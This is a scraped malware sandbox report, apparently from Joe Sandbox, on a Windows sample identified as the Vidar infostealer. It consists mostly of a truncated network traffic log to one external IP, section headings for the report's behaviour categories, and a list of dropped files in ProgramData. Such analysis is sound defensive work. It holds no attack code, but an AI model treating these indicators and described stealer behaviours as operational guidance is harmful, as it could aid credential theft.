Apr 7, 2025 18:10:19.253999949 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:19.254031897 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.254045010 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.254133940 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.254178047 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.254190922 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.254220963 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.254234076 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.254245996 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.254686117 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:19.290558100 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:19.293052912 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:19.384655952 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.401006937 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.407454967 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.407847881 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.407862902 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.407876968 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.407888889 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.407902956 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.408971071 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:19.437901974 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:19.440301895 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:19.542654037 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.546761990 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.561790943 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.561907053 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.561943054 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.561975956 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.561986923 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.562169075 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:19.576559067 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:19.740463972 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:19.780366898 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.780389071 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.780725956 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:19.782093048 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.782315016 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:19.830271959 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.830293894 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.830316067 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.830328941 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.830342054 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.830353975 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.830367088 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.830380917 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.830394983 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.830408096 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.830420971 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.830435038 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.830646992 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:19.830701113 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:19.830888033 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:19.840708971 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.840776920 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.840883017 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.840897083 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.842571020 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.842628956 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.842674017 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.842724085 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.842802048 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.842814922 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.842827082 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.842891932 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.843102932 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:19.876085997 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:19.935592890 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:19.940803051 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:20.069727898 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.069741964 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.069787025 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.069801092 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.069894075 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.069907904 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.069962978 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.069976091 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.069988012 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.070311069 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:20.070467949 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:20.070512056 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:20.070616007 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:20.095657110 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:20.130217075 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:20.190603018 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.225055933 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:20.233025074 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.272897959 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:20.280030966 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.280073881 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.280088902 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.280169010 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.280181885 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.280301094 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.280395985 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.280409098 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.280464888 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.280478001 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.280492067 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.280577898 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:20.281207085 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:20.339504004 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.339548111 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.339560986 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.339776993 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.339828014 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.339903116 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.339915037 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.339927912 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.339941978 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.339956045 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.339972973 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.339984894 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.340095043 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:20.365061045 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:20.384744883 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:20.505778074 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.523439884 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.523587942 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.523674965 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.523870945 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.523885012 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.523910999 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.523972988 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.523984909 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:20.524218082 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:20.553085089 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:20.646749973 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.224590063 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:21.335819960 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.358081102 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.358166933 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.358283043 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.358422995 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:21.367115974 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:21.468705893 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.477324009 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.477628946 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:21.477653027 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.477665901 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.484961987 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:21.609014988 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.609626055 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.630681038 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.630944967 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:21.630954981 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.630966902 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.655164003 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:21.755768061 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.763212919 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.763283014 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.763489962 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.763781071 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:21.776240110 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:21.874633074 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.883148909 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.883615017 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.883629084 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:21.887881994 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:21.909746885 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:22.009800911 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.018172979 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.018213034 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.018385887 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.018537998 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:22.018661976 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:22.018712997 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:22.032740116 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:22.137969017 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.151061058 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.151077032 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.151089907 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.155853987 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:22.155920029 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:22.155960083 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:22.280729055 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.417426109 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:22.518168926 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.526645899 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.526717901 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.526801109 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.527079105 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:22.534702063 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:22.634696007 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.645107985 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.645291090 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.645304918 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.645347118 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:22.662744045 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:22.764456987 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.772471905 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.772627115 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.772663116 CEST	443	61732	23.204.152.202	192.168.2.7
Apr 7, 2025 18:10:22.772902966 CEST	61732	443	192.168.2.7	23.204.152.202
Apr 7, 2025 18:10:22.781598091 CEST	61732	443	1

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report jPKFh06jHI.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\00hl6\16phvsjmg

C:\ProgramData\00hl6\8gvk6x

C:\ProgramData\00hl6\jmyuai

C:\ProgramData\00hl6\ngv37y

C:\ProgramData\00hl6\sjmgvk

C:\ProgramData\00hl6\sriwln

C:\ProgramData\00hl6\vkfkno

C:\ProgramData\00hl6\w47qq9rqq

Windows Analysis Report
jPKFh06jHI.exe